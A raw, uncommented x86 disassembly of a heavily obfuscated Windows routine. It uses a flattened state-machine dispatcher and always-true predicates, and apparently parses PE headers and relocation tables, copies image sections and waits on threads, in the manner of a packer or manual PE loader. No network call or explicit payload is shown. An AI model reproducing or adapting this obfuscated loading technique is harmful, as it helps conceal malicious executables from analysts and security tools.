cmp eax, 0x75fcee4b
jne 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xa
mov eax, 0x237d4340
jmp 0x401c00
cmp eax, 0xf9ba3c56
jle 0x40407a
cmp eax, 0xf9ba3c57
je 0x4051f4
cmp eax, 0xfa1ff5d7
je 0x4051fe
cmp eax, 0xfa63c129
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov ebx, 0x379a2f19
lea ecx, [edx + 1]
imul ecx, edx
mov edi, ecx
xor edi, 0xfffffffe
test edi, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x681342fb
cmovne edx, ebx
test edi, ecx
mov ecx, edx
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x1c]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, ecx
jmp 0x401c00
cmp eax, 0x186317c5
jle 0x4040b0
cmp eax, 0x186317c6
je 0x40521c
cmp eax, 0x19f0b105
je 0x405226
cmp eax, 0x1b757740
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x6ba15cf8
mov ebx, 0x57cf7f17
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x57cf7f17
jmp 0x401be2
cmp eax, 0xa2887ec1
jle 0x4040dc
cmp eax, 0xa2887ec2
je 0x405230
cmp eax, 0xa2d47ee0
je 0x40523a
cmp eax, 0xa401a34e
jne 0x401c00
mov eax, dword [ebp - 0x44]
mov edi, 0x6b7ba08b
mov ebx, 0x1e47f688
mov dword [eax], 2
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1e47f688
jmp 0x401be2
cmp eax, 0x63c94e59
jle 0x404118
cmp eax, 0x63c94e5a
je 0x405250
cmp eax, 0x661ec8ba
je 0x405263
cmp eax, 0x669f0d72
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xe7db9b13
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf832e759
jmp 0x4056f1
cmp eax, 0xe6a04676
jle 0x404155
cmp eax, 0xe6a04677
je 0x405296
cmp eax, 0xe7c47a77
je 0x4052a9
cmp eax, 0xe7db9b13
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x8789fb10
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf832e759
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x40]
cmovge ecx, edx
mov eax, dword [eax]
mov edi, dword [ebp - 0x118]
cmp dword [edi + eax*4], 0
mov eax, ecx
setne byte [ebp - 0x7e]
jmp 0x401c00
cmp eax, 0x41f9b347
jle 0x40419e
cmp eax, 0x41f9b348
je 0x4052cc
cmp eax, 0x42a10ee3
je 0x4052f2
cmp eax, 0x438982ab
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x20611e20
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc3ce870f
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1c]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0xe0], ecx
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edi, dword [ebp - 0x34]
mov edi, dword [edi]
lea edi, [edi + edi*4]
lea ecx, [ecx + edi*8]
mov dword [ebp - 0x100], ecx
jmp 0x401c00
cmp eax, 0xc3ce870e
jle 0x4041e7
cmp eax, 0xc3ce870f
je 0x405318
cmp eax, 0xc41fd461
je 0x40532b
cmp eax, 0xc4b5bfba
jne 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 2
mov eax, 0x1d0bb5ea
jmp 0x401c00
cmp eax, 0x7ee106be
jle 0x404223
cmp eax, 0x7ee106bf
je 0x405368
cmp eax, 0x7f206159
je 0x405375
cmp eax, 0x7f3f8137
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x950e3bb8
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2fa3094a
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x24]
cmovge ecx, edx
mov edx, 0x80000000
mov eax, dword [eax]
and eax, edx
mov dword [ebp - 0x1d0], eax
mov eax, ecx
jmp 0x401c00
cmp eax, 0x95d7987
jle 0x404243
cmp eax, 0x95d7988
je 0x405394
cmp eax, 0xb6755a9
je 0x40539e
cmp eax, 0xd0dfa9b
jne 0x401c00
mov eax, 0x9d4b8d55
jmp 0x401c00
cmp eax, 0x240d6209
je 0x4053a8
cmp eax, 0x249cd17b
jne 0x405cca
mov eax, dword [ebp - 0x48]
mov eax, dword [0x5f3410]
mov ebx, 0xd1ee1f92
mov edi, 0x45bf9bce
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x45bf9bce
jmp 0x405c5f
cmp eax, 0x8138c8ce
je 0x4053de
cmp eax, 0x83f7cc7d
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0xa651730e
mov ebx, 0x5384b072
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5384b072
jmp 0x401be2
cmp eax, 0x44a28fe4
je 0x405423
cmp eax, 0x45bf9bce
jne 0x401c00
mov eax, 0xd1ee1f92
jmp 0x401c00
cmp eax, 0xc5c446db
je 0x405456
cmp eax, 0xc6f58d1e
jne 0x401c00
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, 0xe5a0d36
jmp 0x401c00
cmp eax, 0x2ceed23e
je 0x405497
cmp eax, 0x2d1e7a66
jne 0x401c00
mov eax, dword [ebp - 0x104]
mov eax, 0x342a0c77
jmp 0x401c00
cmp eax, 0xa411fb64
je 0x4054ac
cmp eax, 0xa4afbaef
jne 0x401c00
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x2c]
lea eax, [ecx + eax + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x26343f69
jmp 0x401c00
cmp eax, 0x6727281e
je 0x4054b6
cmp eax, 0x67737514
jne 0x401c00
mov eax, 0xea52fccc
jmp 0x401c00
cmp eax, 0xe8463395
je 0x401bc0
cmp eax, 0xea52fccc
jne 0x401c00
mov eax, dword [ebp - 0x70]
mov eax, 0x79cd11dc
jmp 0x401c00
cmp eax, 0xd5ba81e
je 0x4054dc
cmp eax, 0xd963ffa
jne 0x401c00
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
mov eax, 0x3189a064
mov esi, dword [ebp - 0x140]
jmp 0x401c00
cmp eax, 0x94a5c25c
je 0x4054f1
cmp eax, 0x950e3bb8
jne 0x401c00
mov eax, 0xd62602e4
jmp 0x401c00
cmp eax, 0x55c09282
je 0x405501
cmp eax, 0x56e867bb
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x954b075f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xdc826ab6
jmp 0x4056f1
cmp eax, 0xd8ed0bef
je 0x40550b
cmp eax, 0xd905e6ec
jne 0x401c00
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
mov eax, 0xf0210705
jmp 0x401c00
cmp eax, 0x366a38cd
je 0x405518
cmp eax, 0x366df885
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xd3a0b376
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe5074b5
jmp 0x40584e
cmp eax, 0xb5f3c3ca
je 0x40552b
cmp eax, 0xb69d33ed
jne 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xc
mov eax, 0x4e2a1c93
jmp 0x401c00
cmp eax, 0x7685dd66
je 0x405535
cmp eax, 0x77726538
jne 0x401c00
mov eax, dword [ebp - 0x64]
push 0x400
push dword [eax]
push dword [ebp - 0x14c]
vzeroupper
call fcn.0043df50
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0xa4afbaef
jmp 0x401c00
cmp eax, 0xfa69265b
je 0x40553f
cmp eax, 0xfacd3722
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xe3b6f54f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6727281e
jmp 0x405a44
cmp eax, 0x1d0bb5ea
je 0x405575
cmp eax, 0x1df82859
jne 0x401c00
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, 0xfa69265b
jmp 0x401c00
cmp eax, 0x898d30b1
je 0x40559e
cmp eax, 0x89c38238
jne 0x401c00
mov eax, 0x7c088e5b
jmp 0x401c00
cmp eax, 0x4e2a1c93
je 0x4055a8
cmp eax, 0x4eecb82b
jne 0x401c00
mov eax, 0xaa0ad570
jmp 0x401c00
cmp eax, 0xcc661409
je 0x4055e3
cmp eax, 0xcd6f926b
jne 0x401c00
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0x3baea75
jmp 0x401c00
cmp eax, 0x316c77ea
je 0x40562d
cmp eax, 0x3189a064
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xa79304c0
mov dword [ebp - 0x130], esi
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xff90ce5d
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401c00
cmp eax, 0xaa0ad570
je 0x405637
cmp eax, 0xab8b0814
jne 0x401c00
mov eax, 0xe4505e9c
jmp 0x401c00
cmp eax, 0x6c30ab83
je 0x40569d
cmp eax, 0x6fe3c969
jne 0x401c00
mov eax, 0x9315c69f
jmp 0x401c00
cmp eax, 0xf499d56e
je 0x4056ad
cmp eax, 0xf51a6828
jne 0x401c00
mov eax, dword [ebp - 0xd4]
mov edi, 0x119b9fa3
mov ebx, 0x92f7645
mov ecx, eax
xor ecx, 0xfffffffc
test ecx, eax
mov eax, dword [0x5f3410]
setne byte [ebp - 0x7d]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x92f7645
jmp 0x401be2
cmp eax, 0x11ebc333
je 0x4056c3
cmp eax, 0x1260066a
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xcc661409
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb258a0fc
jmp 0x40584e
cmp eax, 0x9d4b8d55
je 0x405709
cmp eax, 0x9e28cb1a
jne 0x401c00
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0xa8]
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, 0x366df885
jmp 0x401c00
cmp eax, 0x5ec57762
je 0x40574b
cmp eax, 0x5ec7bc8c
jne 0x401c00
mov eax, dword [ebp - 0x38]
mov edi, 0xca00eebe
mov eax, dword [eax]
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf4175b5a
jmp 0x405a44
cmp eax, 0xe0280af5
je 0x40578c
cmp eax, 0xe37a61e7
jne 0x401c00
movzx eax, word [ebp - 0xb6]
mov eax, dword [ebp - 0xf8]
mov eax, 0x8a43bf9e
jmp 0x401c00
cmp eax, 0x3b5f1de7
je 0x4057bd
cmp eax, 0x3c6f3cfd
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x92f7645
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf51a6828
jmp 0x405aaa
cmp eax, 0xbfb8ce87
je 0x4057c7
cmp eax, 0xc0c63427
jne 0x401c00
cmp byte [ebp - 0x7f], 0
mov eax, 0x5d46889d
mov ecx, 0x748b604f
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x7a1c0c0e
je 0x4057dd
cmp eax, 0x7c088e5b
jne 0x401c00
mov eax, dword [ebp - 0x40]
mov eax, 0x68f5165a
jmp 0x401c00
cmp eax, 0x3baea75
je 0x4057f2
cmp eax, 0x3dcbefc
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x7f3f8137
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2fa3094a
jmp 0x4056f1
cmp eax, 0x26343f69
je 0x4057fc
cmp eax, 0x286d4447
jne 0x401c00
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, 0xd5ba81e
jmp 0x401c00
cmp eax, 0x86c82764
je 0x40581f
cmp eax, 0x86c9fc92
jne 0x401c00
mov eax, 0x2b217fd7
jmp 0x401c00
cmp eax, 0x47b3cbf1
je 0x405864
cmp eax, 0x47e0ae0b
jne 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, 0xb9b23957
jmp 0x401c00
cmp eax, 0xc979148b
je 0x4058a8
cmp eax, 0xca00eebe
jne 0x401c00
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0
mov eax, 0x5ec7bc8c
jmp 0x401c00
cmp eax, 0x2f16ab00
je 0x4058e7
cmp eax, 0x2f79c157
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x4eecb82b
mov ebx, 0x5583fc9a
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5583fc9a
jmp 0x401be2
cmp eax, 0xa79304c0
je 0x4058f1
cmp eax, 0xa81cb547
jne 0x401c00
mov eax, 0x33973541
jmp 0x401c00
cmp eax, 0x68f5165a
je 0x405962
cmp eax, 0x69b3ea67
jne 0x401c00
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x160]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
add eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x154]
vzeroupper
call fcn.0043df50
add esp, 0xc
mov eax, 0x41f9b348
jmp 0x401c00
cmp eax, 0xef52c0e7
je 0x405972
cmp eax, 0xf0210705
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xf6b3f4a8
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd905e6ec
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0xf0]
cmovge eax, edx
cmp ecx, dword [ebp - 0xf4]
setne byte [ebp - 0x79]
jmp 0x401c00
cmp eax, 0xfe827a1
je 0x40597c
cmp eax, 0x106a53a1
jne 0x401c00
mov eax, dword [ebp - 0x1c]
mov ebx, 0xda39edd7
mov edi, 0x8c8dc0cd
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xf4], eax
mov eax, dword [0x5f3410]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x8c8dc0cd
jmp 0x4058c2
cmp eax, 0x967b3f63
je 0x405986
cmp eax, 0x96a555b8
jne 0x401c00
mov eax, 0x38f7be5a
jmp 0x401c00
cmp eax, 0x58b01a39
je 0x4059e0
cmp eax, 0x5a93089c
jne 0x401c00
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0x77efb1bc
jmp 0x401c00
cmp eax, 0xdc35445b
je 0x4059ed
cmp eax, 0xdc826ab6
jne 0x401c00
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xa0]
mov dword [eax], 0
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, 0x954b075f
jmp 0x401c00
cmp eax, 0x386c776f
je 0x405a16
cmp eax, 0x38f7be5a
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0xee580024
mov edi, 0x58b01a39
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x58b01a39
jmp 0x405c5f
cmp eax, 0xb88f1602
je 0x405a59
cmp eax, 0xb9b23957
jne 0x401c00
mov eax, dword [ebp - 0x1c]
mov ebx, 0x1770f96
mov edi, 0x47e0ae0b
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x47e0ae0b
jmp 0x4058ca
cmp eax, 0x77efb1bc
je 0x405a66
cmp eax, 0x77fa7b76
jne 0x401c00
mov eax, 0x23ad2e03
jmp 0x401c00
cmp eax, 0xffa99ec1
je 0x405ac1
cmp eax, 0x1770f96
jne 0x401c00
mov eax, 0x8be3d467
jmp 0x401c00
cmp eax, 0x1f20da2b
je 0x405acb
cmp eax, 0x1f858843
jne 0x401c00
cmp byte [ebp - 0x82], 0
mov eax, 0xea52fccc
mov ecx, 0x47b3cbf1
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x8c8dc0cd
je 0x405ad5
cmp eax, 0x8e29b95f
jne 0x401c00
mov eax, 0xa0b825df
jmp 0x401c00
cmp eax, 0x52905335
je 0x405ae5
cmp eax, 0x5384b072
jne 0x401c00
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, 0xa651730e
jmp 0x401c00
cmp eax, 0xd112f16f
je 0x405aef
cmp eax, 0xd12b7ac5
jne 0x401c00
mov eax, dword [ebp - 0x174]
mov ecx, 0x1df82859
cmp eax, dword [ebp - 0x178]
mov eax, 0xe6a04677
cmovb eax, ecx
jmp 0x401c00
cmp eax, 0x342a0c77
je 0x405b08
cmp eax, 0x3486cfd7
jne 0x401c00
mov eax, dword [ebp - 0x4c]
mov eax, 0x3168be5e
jmp 0x401c00
cmp eax, 0xaee4e85a
je 0x405b5d
cmp eax, 0xb258a0fc
jne 0x401c00
mov eax, dword [ebp - 0x3c]
mov eax, 0xcc661409
jmp 0x401c00
cmp eax, 0x7391cb14
je 0x405b73
cmp eax, 0x73aae139
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x8a43bf9e
mov edi, 0xe37a61e7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe37a61e7
jmp 0x4058ca
cmp eax, 0xf832e759
je 0x405b86
cmp eax, 0xf8d4a044
jne 0x401c00
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0xb7148706
jmp 0x401c00
cmp eax, 0x14716d3d
je 0x405b99
cmp eax, 0x166290f6
jne 0x401c00
cmp byte [ebp - 0x7b], 0
mov eax, 0x9d4b8d55
mov ecx, 0x95177bd6
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0xa0b825df
je 0x405ba3
cmp eax, 0xa1b3e3c7
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0xe0280af5
mov ebx, 0xb5baf629
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb5baf629
jmp 0x401be2
cmp eax, 0x6266282f
je 0x405bad
cmp eax, 0x629fad0f
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x2f16ab00
mov edi, 0xed07b2dc
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xed07b2dc
jmp 0x405c5f
cmp eax, 0xe4505e9c
je 0x405bb7
cmp eax, 0xe4926785
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x39150088
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8138c8ce
jmp 0x4056f1
cmp eax, 0x3ddf5324
je 0x405bd3
cmp eax, 0x3e2ee8f4
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x13bc239b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x63c94e5a
jmp 0x4056f1
cmp eax, 0xc34e07fe
je 0x405c24
cmp eax, 0xc3a3c68d
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x106a53a1
mov ebx, 0x8c8dc0cd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8c8dc0cd
jmp 0x40547a
cmp eax, 0x7d0ce48e
je 0x405c37
cmp eax, 0x7de7036d
jne 0x401c00
mov eax, 0xde491f8c
jmp 0x401c00
cmp eax, 0x90f0cee
je 0x405c7e
cmp eax, 0x92f7645
jne 0x401c00
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0xf51a6828
jmp 0x401c00
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1e8], eax
mov eax, 0xfa1ff5d7
jmp 0x401c00
mov eax, 0xdfe71f7e
jmp 0x401c00
mov eax, dword [ebp - 0x48]
mov ebx, 0xe95b47e
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1e0]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 8]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
mov edi, dword [ebp - 0x48]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [edx + edi*8 + 0xc]
mov edi, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x1dc]
nop dword [eax + eax]
cmp ebx, 0xe95b47e
je 0x4042f5
cmp ebx, 0xaa38d5b5
jne 0x4042e0
jmp 0x405ca8
mov ebx, 0xaa38d5b5
jmp 0x4042e0
mov eax, dword [ebp - 0x28]
mov edi, 0x52905335
mov ebx, 0xae927c96
mov dword [eax], 1
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xae927c96
jmp 0x404fc8
mov eax, 0xa9da4c47
jmp 0x401c00
mov eax, 0x898d30b1
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, 0xc2458bb4
jmp 0x401c00
mov eax, 0xf58dc0e6
jmp 0x401c00
mov eax, 0x7d056e98
jmp 0x401c00
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x148], eax
mov eax, 0x77e7b0cc
jmp 0x401c00
mov eax, 0xd12b7ac5
jmp 0x401c00
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0xdb7d084c
jmp 0x401c00
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
and ecx, 0xfff
add ecx, dword [eax]
mov eax, 0xa902d3c6
mov dword [ebp - 0x194], ecx
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, 0xfa63c129
jmp 0x401c00
mov eax, 0xf499d56e
jmp 0x401c00
mov eax, 0x629fad0f
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, 0x32b0531e
jmp 0x401c00
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa8]
mov eax, 0xd3a0b376
jmp 0x401c00
mov eax, dword [ebp - 0xc8]
mov eax, dword [0x5f3410]
mov edi, 0xb9b23957
mov ebx, 0x47e0ae0b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x47e0ae0b
jmp 0x40547a
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xa0]
mov edi, 0x77c7ba36
mov dword [eax], 0
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [0x5f3410]
mov ecx, dword [0x5f340c]
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl ah
xor ah, al
mov eax, 0xdc826ab6
cmovne eax, edi
cmp edx, 0xffffffff
mov edx, eax
cmove edx, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xd0]
